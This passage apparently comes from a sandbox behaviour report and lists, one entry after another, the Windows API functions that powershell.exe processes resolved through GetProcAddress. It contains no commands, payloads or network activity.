CorExitProcess (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00004824) 